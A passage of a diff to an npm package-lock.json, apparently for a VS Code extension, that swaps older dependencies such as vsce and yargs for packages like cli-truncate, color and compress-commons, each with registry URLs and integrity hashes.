"node_modules/vsce/node_modules/semver": { - "version": "5.7.1", - "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", - "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", + "node_modules/chownr": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.4.tgz", + "integrity": "sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==", "dev": true, - "bin": { - "semver": "bin/semver" - } + "optional": true }, - "node_modules/vsce/node_modules/supports-color": { - "version": "5.5.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", - "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "node_modules/clean-stack": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/clean-stack/-/clean-stack-2.2.0.tgz", + "integrity": "sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A==", "dev": true, - "dependencies": { - "has-flag": "^3.0.0" - }, + "license": "MIT", "engines": { - "node": ">=4" + "node": ">=6" } }, - "node_modules/vscode-jsonrpc": { - "version": "8.0.1", - "resolved": "https://registry.npmjs.org/vscode-jsonrpc/-/vscode-jsonrpc-8.0.1.tgz", - "integrity": "sha512-N/WKvghIajmEvXpatSzvTvOIz61ZSmOSa4BRA4pTLi+1+jozquQKP/MkaylP9iB68k73Oua1feLQvH3xQuigiQ==", + "node_modules/cli-color": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/cli-color/-/cli-color-2.0.4.tgz", + "integrity": "sha512-zlnpg0jNcibNrO7GG9IeHH7maWFeCz+Ja1wx/7tZNU5ASSSSZ+/qZciM0/LHCYxSdqv5h2sdbQ/PXYdOuetXvA==", + "dev": true, + "license": "ISC", + "dependencies": { + "d": "^1.0.1", + "es5-ext": "^0.10.64", + "es6-iterator": "^2.0.3", + "memoizee": "^0.4.15", + "timers-ext": "^0.1.7" + }, "engines": { - "node": ">=14.0.0" + "node": ">=0.10" } }, - "node_modules/vscode-languageclient": { - "version": "8.0.1", - "resolved": "https://registry.npmjs.org/vscode-languageclient/-/vscode-languageclient-8.0.1.tgz", - "integrity": "sha512-9XoE+HJfaWvu7Y75H3VmLo5WLCtsbxEgEhrLPqwt7eyoR49lUIyyrjb98Yfa50JCMqF2cePJAEVI6oe2o1sIhw==", + "node_modules/cli-cursor": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/cli-cursor/-/cli-cursor-5.0.0.tgz", + "integrity": "sha512-aCj4O5wKyszjMmDT4tZj93kxyydN/K5zPWSCe6/0AV/AA1pqe5ZBIw0a2ZfPQV7lL5/yb5HsUreJ6UFAF1tEQw==", + "dev": true, + "license": "MIT", "dependencies": { - "minimatch": "^3.0.4", - "semver": "^7.3.5", - "vscode-languageserver-protocol": "3.17.1" + "restore-cursor": "^5.0.0" }, "engines": { - "vscode": "^1.67.0" + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" } }, - "node_modules/vscode-languageserver-protocol": { - "version": "3.17.1", - "resolved": "https://registry.npmjs.org/vscode-languageserver-protocol/-/vscode-languageserver-protocol-3.17.1.tgz", - "integrity": "sha512-BNlAYgQoYwlSgDLJhSG+DeA8G1JyECqRzM2YO6tMmMji3Ad9Mw6AW7vnZMti90qlAKb0LqAlJfSVGEdqMMNzKg==", - "dependencies": { - "vscode-jsonrpc": "8.0.1", - "vscode-languageserver-types": "3.17.1" + "node_modules/cli-spinners": { + "version": "2.9.2", + "resolved": "https://registry.npmjs.org/cli-spinners/-/cli-spinners-2.9.2.tgz", + "integrity": "sha512-ywqV+5MmyL4E7ybXgKys4DugZbX0FC6LnwrhjuykIjnK9k8OQacQ7axGKnjDXWNhns0xot3bZI5h55H8yo9cJg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" } }, - "node_modules/vscode-languageserver-types": { - "version": "3.17.1", - "resolved": "https://registry.npmjs.org/vscode-languageserver-types/-/vscode-languageserver-types-3.17.1.tgz", - "integrity": "sha512-K3HqVRPElLZVVPtMeKlsyL9aK0GxGQpvtAUTfX4k7+iJ4mc1M+JM+zQwkgGy2LzY0f0IAafe8MKqIkJrxfGGjQ==" - }, - "node_modules/which": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", - "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "node_modules/cli-truncate": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/cli-truncate/-/cli-truncate-5.1.1.tgz", + "integrity": "sha512-SroPvNHxUnk+vIW/dOSfNqdy1sPEFkrTk6TUtqLCnBlo3N7TNYYkzzN7uSD6+jVjrdO4+p8nH7JzH6cIvUem6A==", "dev": true, "dependencies": { - "isexe": "^2.0.0" - }, - "bin": { - "node-which": "bin/node-which" + "slice-ansi": "^7.1.0", + "string-width": "^8.0.0" }, "engines": { - "node": ">= 8" + "node": ">=20" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" } }, - "node_modules/wide-align": { - "version": "1.1.5", - "resolved": "https://registry.npmjs.org/wide-align/-/wide-align-1.1.5.tgz", - "integrity": "sha512-eDMORYaPNZ4sQIuuYPDHdQvf4gyCF9rEEV/yPxGfwPkRodwEgiMUUXTx/dex+Me0wxx53S+NgUHaP7y3MGlDmg==", + "node_modules/cli-truncate/node_modules/ansi-regex": { + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.2.2.tgz", + "integrity": "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==", "dev": true, - "dependencies": { - "string-width": "^1.0.2 || 2 || 3 || 4" + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-regex?sponsor=1" } }, - "node_modules/word-wrap": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.3.tgz", - "integrity": "sha512-Hz/mrNwitNRh/HUAtM/VT/5VH+ygD6DV7mYKZAtHOrbs8U7lvPS6xf7EJKMF0uW1KJCl0H701g3ZGus+muE5vQ==", + "node_modules/cli-truncate/node_modules/ansi-styles": { + "version": "6.2.3", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.3.tgz", + "integrity": "sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg==", "dev": true, "engines": { - "node": ">=0.10.0" + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" } }, - "node_modules/workerpool": { - "version": "6.2.0", - "resolved": "https://registry.npmjs.org/workerpool/-/workerpool-6.2.0.tgz", - "integrity": "sha512-Rsk5qQHJ9eowMH28Jwhe8HEbmdYDX4lwoMWshiCXugjtHqMD9ZbiqSDLxcsfdqsETPzVUtX5s1Z5kStiIM6l4A==", - "dev": true - }, - "node_modules/wrap-ansi": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", - "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "node_modules/cli-truncate/node_modules/is-fullwidth-code-point": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-5.1.0.tgz", + "integrity": "sha512-5XHYaSyiqADb4RnZ1Bdad6cPp8Toise4TzEjcOYDHZkTCbKgiUl7WTUCpNWHuxmDt91wnsZBc9xinNzopv3JMQ==", "dev": true, "dependencies": { - "ansi-styles": "^4.0.0", - "string-width": "^4.1.0", - "strip-ansi": "^6.0.0" + "get-east-asian-width": "^1.3.1" }, "engines": { - "node": ">=10" + "node": ">=18" }, "funding": { - "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + "url": "https://github.com/sponsors/sindresorhus" } }, - "node_modules/wrappy": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", - "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=", - "dev": true - }, - "node_modules/xml2js": { - "version": "0.4.23", - "resolved": "https://registry.npmjs.org/xml2js/-/xml2js-0.4.23.tgz", - "integrity": "sha512-ySPiMjM0+pLDftHgXY4By0uswI3SPKLDw/i3UXbnO8M/p28zqexCUoPmQFrYD+/1BzhGJSs2i1ERWKJAtiLrug==", + "node_modules/cli-truncate/node_modules/slice-ansi": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-7.1.2.tgz", + "integrity": "sha512-iOBWFgUX7caIZiuutICxVgX1SdxwAVFFKwt1EvMYYec/NWO5meOJ6K5uQxhrYBdQJne4KxiqZc+KptFOWFSI9w==", "dev": true, "dependencies": { - "sax": ">=0.6.0", - "xmlbuilder": "~11.0.0" + "ansi-styles": "^6.2.1", + "is-fullwidth-code-point": "^5.0.0" }, "engines": { - "node": ">=4.0.0" + "node": ">=18" + }, + "funding": { + "url": "https://github.com/chalk/slice-ansi?sponsor=1" } }, - "node_modules/xmlbuilder": { - "version": "11.0.1", - "resolved": "https://registry.npmjs.org/xmlbuilder/-/xmlbuilder-11.0.1.tgz", - "integrity": "sha512-fDlsI/kFEx7gLvbecc0/ohLG50fugQp8ryHzMTuW9vSa1GJ0XYWKnhsUx7oie3G98+r56aTQIUB4kht42R3JvA==", + "node_modules/cli-truncate/node_modules/string-width": { + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-8.1.0.tgz", + "integrity": "sha512-Kxl3KJGb/gxkaUMOjRsQ8IrXiGW75O4E3RPjFIINOVH8AMl2SQ/yWdTzWwF3FevIX9LcMAjJW+GRwAlAbTSXdg==", + "dev": true, + "dependencies": { + "get-east-asian-width": "^1.3.0", + "strip-ansi": "^7.1.0" + }, "engines": { - "node": ">=4.0" + "node": ">=20" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" } }, - "node_modules/y18n": { - "version": "5.0.8", - "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz", - "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==", + "node_modules/cli-truncate/node_modules/strip-ansi": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.2.tgz", + "integrity": "sha512-gmBGslpoQJtgnMAvOVqGZpEz9dyoKTCzy2nfz/n8aIFhN/jCE/rCmcxabB6jOOHV+0WNnylOxaxBQPSvcWklhA==", "dev": true, + "dependencies": { + "ansi-regex": "^6.0.1" + }, "engines": { - "node": ">=10" + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/strip-ansi?sponsor=1" } }, - "node_modules/yallist": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", - "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==" - }, - "node_modules/yargs": { - "version": "16.2.0", - "resolved": "https://registry.npmjs.org/yargs/-/yargs-16.2.0.tgz", - "integrity": "sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==", + "node_modules/cliui": { + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-8.0.1.tgz", + "integrity": "sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ==", "dev": true, "dependencies": { - "cliui": "^7.0.2", - "escalade": "^3.1.1", - "get-caller-file": "^2.0.5", - "require-directory": "^2.1.1", "string-width": "^4.2.0", - "y18n": "^5.0.5", - "yargs-parser": "^20.2.2" + "strip-ansi": "^6.0.1", + "wrap-ansi": "^7.0.0" }, "engines": { - "node": ">=10" + "node": ">=12" } }, - "node_modules/yargs-parser": { - "version": "20.2.4", - "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-20.2.4.tgz", - "integrity": "sha512-WOkpgNhPTlE73h4VFAFsOnomJVaovO8VqLDzy5saChRBFQFBoMYirowyW+Q9HB4HFF4Z7VZTiG3iSzJJA29yRA==", + "node_modules/cliui/node_modules/wrap-ansi": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", "dev": true, + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, "engines": { "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" } }, - "node_modules/yargs-unparser": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/yargs-unparser/-/yargs-unparser-2.0.0.tgz", - "integrity": "sha512-7pRTIA9Qc1caZ0bZ6RYRGbHJthJWuakf+WmHK0rVeLkNrrGhfoabBNdue6kdINI6r4if7ocq9aD/n7xwKOdzOA==", + "node_modules/cockatiel": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/cockatiel/-/cockatiel-3.1.2.tgz", + "integrity": "sha512-5yARKww0dWyWg2/3xZeXgoxjHLwpVqFptj9Zy7qioJ6+/L0ARM184sgMUrQDjxw7ePJWlGhV998mKhzrxT0/Kg==", + "dev": true, + "engines": { + "node": ">=16" + } + }, + "node_modules/color": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/color/-/color-5.0.2.tgz", + "integrity": "sha512-e2hz5BzbUPcYlIRHo8ieAhYgoajrJr+hWoceg6E345TPsATMUKqDgzt8fSXZJJbxfpiPzkWyphz8yn8At7q3fA==", "dev": true, "dependencies": { - "camelcase": "^6.0.0", - "decamelize": "^4.0.0", - "flat": "^5.0.2", - "is-plain-obj": "^2.1.0" + "color-convert": "^3.0.1", + "color-string": "^2.0.0" }, "engines": { - "node": ">=10" + "node": ">=18" } }, - "node_modules/yauzl": { - "version": "2.10.0", - "resolved": "https://registry.npmjs.org/yauzl/-/yauzl-2.10.0.tgz", - "integrity": "sha1-x+sXyT4RLLEIb6bY5R+wZnt5pfk=", - "dev": true, + "node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", "dependencies": { - "buffer-crc32": "~0.2.3", - "fd-slicer": "~1.1.0" + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" } }, - "node_modules/yazl": { - "version": "2.5.1", - "resolved": "https://registry.npmjs.org/yazl/-/yazl-2.5.1.tgz", - "integrity": "sha512-phENi2PLiHnHb6QBVot+dJnaAZ0xosj7p3fWl+znIjBDlnMI2PsZCJZ306BPTFOaHf5qdDEI8x5qFrSOBN5vrw==", + "node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/color-string": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/color-string/-/color-string-2.1.2.tgz", + "integrity": "sha512-RxmjYxbWemV9gKu4zPgiZagUxbH3RQpEIO77XoSSX0ivgABDZ+h8Zuash/EMFLTI4N9QgFPOJ6JQpPZKFxa+dA==", "dev": true, "dependencies": { - "buffer-crc32": "~0.2.3" + "color-name": "^2.0.0" + }, + "engines": { + "node": ">=18" } }, - "node_modules/yocto-queue": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", - "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==", + "node_modules/color-string/node_modules/color-name": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-2.0.2.tgz", + "integrity": "sha512-9vEt7gE16EW7Eu7pvZnR0abW9z6ufzhXxGXZEVU9IqPdlsUiMwJeJfRtq0zePUmnbHGT9zajca7mX8zgoayo4A==", "dev": true, "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" + "node": ">=12.20" } - } - }, - "dependencies": { - "@eslint/eslintrc": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-1.0.4.tgz", - "integrity": "sha512-h8Vx6MdxwWI2WM8/zREHMoqdgLNXEL4QX3MWSVMdyNJGvXVOs+6lp+m2hc3FnuMHDc4poxFNI20vCk0OmI4G0Q==", + }, + "node_modules/color-support": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/color-support/-/color-support-1.1.3.tgz", + "integrity": "sha512-qiBjkpbMLO/HL68y+lh4q0/O1MZFj2RX6X/KmMa3+gJD3z+WwI1ZzDHysvqHGS3mP6mznPckpXmw1nI9cJjyRg==", "dev": true, - "requires": { - "ajv": "^6.12.4", - "debug": "^4.3.2", - "espree": "^9.0.0", - "globals": "^13.9.0", - "ignore": "^4.0.6", - "import-fresh": "^3.2.1", - "js-yaml": "^4.1.0", - "minimatch": "^3.0.4", - "strip-json-comments": "^3.1.1" - }, - "dependencies": { - "ignore": { - "version": "4.0.6", - "resolved": "https://registry.npmjs.org/ignore/-/ignore-4.0.6.tgz", - "integrity": "sha512-cyFDKrqc/YdcWFniJhzI42+AzS+gNwmUzOSFcRCQYwySuBBBy/KjuxWLZ/FHEH6Moq1NizMOBWyTcv8O4OZIMg==", - "dev": true - } + "license": "ISC", + "bin": { + "color-support": "bin.js" } }, - "@humanwhocodes/config-array": { - "version": "0.6.0", - "resolved": "https://registry.npmjs.org/@humanwhocodes/config-array/-/config-array-0.6.0.tgz", - "integrity": "sha512-JQlEKbcgEUjBFhLIF4iqM7u/9lwgHRBcpHrmUNCALK0Q3amXN6lxdoXLnF0sm11E9VqTmBALR87IlUg1bZ8A9A==", + "node_modules/color/node_modules/color-convert": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-3.1.2.tgz", + "integrity": "sha512-UNqkvCDXstVck3kdowtOTWROIJQwafjOfXSmddoDrXo4cewMKmusCeF22Q24zvjR8nwWib/3S/dfyzPItPEiJg==", "dev": true, - "requires": { - "@humanwhocodes/object-schema": "^1.2.0", - "debug": "^4.1.1", - "minimatch": "^3.0.4" + "dependencies": { + "color-name": "^2.0.0" + }, + "engines": { + "node": ">=14.6" } }, - "@humanwhocodes/object-schema": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/@humanwhocodes/object-schema/-/object-schema-1.2.1.tgz", - "integrity": "sha512-ZnQMnLV4e7hDlUvw8H+U8ASL02SS2Gn6+9Ac3wGGLIe7+je2AeAOxPY+izIPJDfFDb7eDjev0Us8MO1iFRN8hA==", - "dev": true - }, - "@nodelib/fs.scandir": { - "version": "2.1.5", - "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", - "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", + "node_modules/color/node_modules/color-name": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-2.0.2.tgz", + "integrity": "sha512-9vEt7gE16EW7Eu7pvZnR0abW9z6ufzhXxGXZEVU9IqPdlsUiMwJeJfRtq0zePUmnbHGT9zajca7mX8zgoayo4A==", "dev": true, - "requires": { - "@nodelib/fs.stat": "2.0.5", - "run-parallel": "^1.1.9" + "engines": { + "node": ">=12.20" } }, - "@nodelib/fs.stat": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", - "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", + "node_modules/colorette": { + "version": "2.0.20", + "resolved": "https://registry.npmjs.org/colorette/-/colorette-2.0.20.tgz", + "integrity": "sha512-IfEDxwoWIjkeXL1eXcDiow4UbKjhLdq6/EuSVR9GMN7KVH3r9gQ83e73hsz1Nd1T3ijd5xv1wcWRYO+D6kCI2w==", "dev": true }, - "@nodelib/fs.walk": { - "version": "1.2.8", - "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", - "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", + "node_modules/combined-stream": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", + "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", "dev": true, - "requires": { - "@nodelib/fs.scandir": "2.1.5", - "fastq": "^1.6.0" + "dependencies": { + "delayed-stream": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" } }, - "@tootallnate/once": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-1.1.2.tgz", - "integrity": "sha512-RbzJvlNzmRq5c3O09UipeuXno4tA1FE6ikOjxZK0tuxVv3412l64l5t1W5pj4+rJq9vpkm/kwiR07aZXnsKPxw==", - "dev": true - }, - "@types/glob": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/@types/glob/-/glob-7.2.0.tgz", - "integrity": "sha512-ZUxbzKl0IfJILTS6t7ip5fQQM/J3TJYubDm3nMbgubNNYS62eXeUpoLUC8/7fJNiFYHTrGPQn7hspDUzIHX3UA==", + "node_modules/commander": { + "version": "12.1.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-12.1.0.tgz", + "integrity": "sha512-Vw8qHK3bZM9y/P10u3Vib8o/DdkvA2OtPtZvD871QKjy74Wj1WSKFILMPRPSdUSx5RFK1arlJzEtA4PkFgnbuA==", "dev": true, - "requires": { - "@types/minimatch": "*", - "@types/node": "*" + "license": "MIT", + "engines": { + "node": ">=18" } }, - "@types/json-schema": { - "version": "7.0.9", - "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.9.tgz", - "integrity": "sha512-qcUXuemtEu+E5wZSJHNxUXeCZhAfXKQ41D+duX+VYPde7xyEVZci+/oXKJL13tnRs9lR2pr4fod59GT6/X1/yQ==", - "dev": true + "node_modules/compress-commons": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/compress-commons/-/compress-commons-6.0.2.tgz", + "integrity": "sha512-6FqVXeETqWPoGcfzrXb37E50NP0LXT8kAMu5ooZayhWWdgEY4lBEEcbQNXtkuKQsGduxiIcI4gOTsxTmuq/bSg==", + "dependencies": { + "crc-32": "^1.2.0", + "crc32-stream": "^6.0.0", + "is-stream": "^2.0.1", + "normalize-path": "^3.0.0", + "readable-stream": "^4.0.0" + }, + "engines": { + "node": ">= 14" + } }, - "@types/minimatch": { - "version": "3.0.5", - "resolved": "https://registry.npmjs.org/@types/minimatch/-/minimatch-3.0.5.tgz", - "integrity": "sha512-Klz949h02Gz2uZCMGwDUSDS1YBlTdDDgbWHi+81l29tQALUtvz4rAYi5uoVhE5Lagoq6DeqAUlbrHvW/mXDgdQ==", - "dev": true + "node_modules/compress-commons/node_modules/buffer": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-6.0.3.tgz", + "integrity": "sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "dependencies": { + "base64-js": "^1.3.1", + "ieee754": "^1.2.1" + } }, - "@types/mocha": { - "version": "9.0.0", - "resolved": "https://registry.npmjs.org/@types/mocha/-/mocha-9.0.0.tgz", - "integrity": "sha512-scN0hAWyLVAvLR9AyW7HoFF5sJZglyBsbPuHO4fv7JRvfmPBMfp1ozWqOf/e4wwPNxezBZXRfWzMb6iFLgEVRA==", - "dev": true + "node_modules/compress-commons/node_modules/is-stream": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz", + "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==", + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } }, - "@types/node": { - "version": "14.17.34", - "resolved": "https://registry.npmjs.org/@types/node/-/node-14.17.34.tgz", - "integrity": "sha512-USUftMYpmuMzeWobskoPfzDi+vkpe0dvcOBRNOscFrGxVp4jomnRxWuVohgqBow2xyIPC0S3gjxV/5079jhmDg==" + "node_modules/compress-commons/node_modules/readable-stream": { + "version": "4.7.0", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-4.7.0.tgz", + "integrity": "sha512-oIGGmcpTLwPga8Bn6/Z75SVaH1z5dUut2ibSyAMVhmUggWpmDn2dapB0n7f8nwaSiRtepAsfJyfXIO5DCVAODg==", + "dependencies": { + "abort-controller": "^3.0.0", + "buffer": "^6.0.3", + "events": "^3.3.0", + "process": "^0.11.10", + "string_decoder": "^1.3.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + } }, - "@types/plist": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/@types/plist/-/plist-3.0.2.tgz", - "integrity": "sha512-ULqvZNGMv0zRFvqn8/4LSPtnmN4MfhlPNtJCTpKuIIxGVGZ2rYWzFXrvEBoh9CVyqSE7D6YFRJ1hydLHI6kbWw==", - "requires": { - "@types/node": "*", - "xmlbuilder": ">=11.0.1" + "node_modules/compress-commons/node_modules/string_decoder": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "dependencies": { + "safe-buffer": "~5.2.0" } }, - "@types/vscode": { - "version": "1.65.0", - "resolved": "https://registry.npmjs.org/@types/vscode/-/vscode-1.65.0.tgz", - "integrity": "sha512-wQhExnh2nEzpjDMSKhUvnNmz3ucpd3E+R7wJkOhBNK3No6fG3VUdmVmMOKD0A8NDZDDDiQcLNxe3oGmX5SjJ5w==", + "node_modules/concat-map": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", + "integrity": "sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=", "dev": true }, - "@typescript-eslint/eslint-plugin": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/eslint-plugin/-/eslint-plugin-5.4.0.tgz", - "integrity": "sha512-9/yPSBlwzsetCsGEn9j24D8vGQgJkOTr4oMLas/w886ZtzKIs1iyoqFrwsX2fqYEeUwsdBpC21gcjRGo57u0eg==", + "node_modules/console-control-strings": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/console-control-strings/-/console-control-strings-1.1.0.tgz", + "integrity": "sha512-ty/fTekppD2fIwRvnZAVdeOiGd1c7YXEixbgJTNzqcxJWKQnjJ/V1bNEEE6hygpM3WjwHFUVK6HTjWSzV4a8sQ==", "dev": true, - "requires": { - "@typescript-eslint/experimental-utils": "5.4.0", - "@typescript-eslint/scope-manager": "5.4.0", - "debug": "^4.3.2", - "functional-red-black-tree": "^1.0.1", - "ignore": "^5.1.8", - "regexpp": "^3.2.0", - "semver": "^7.3.5", - "tsutils": "^3.21.0" - } + "license": "ISC" }, - "@typescript-eslint/experimental-utils": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/experimental-utils/-/experimental-utils-5.4.0.tgz", - "integrity": 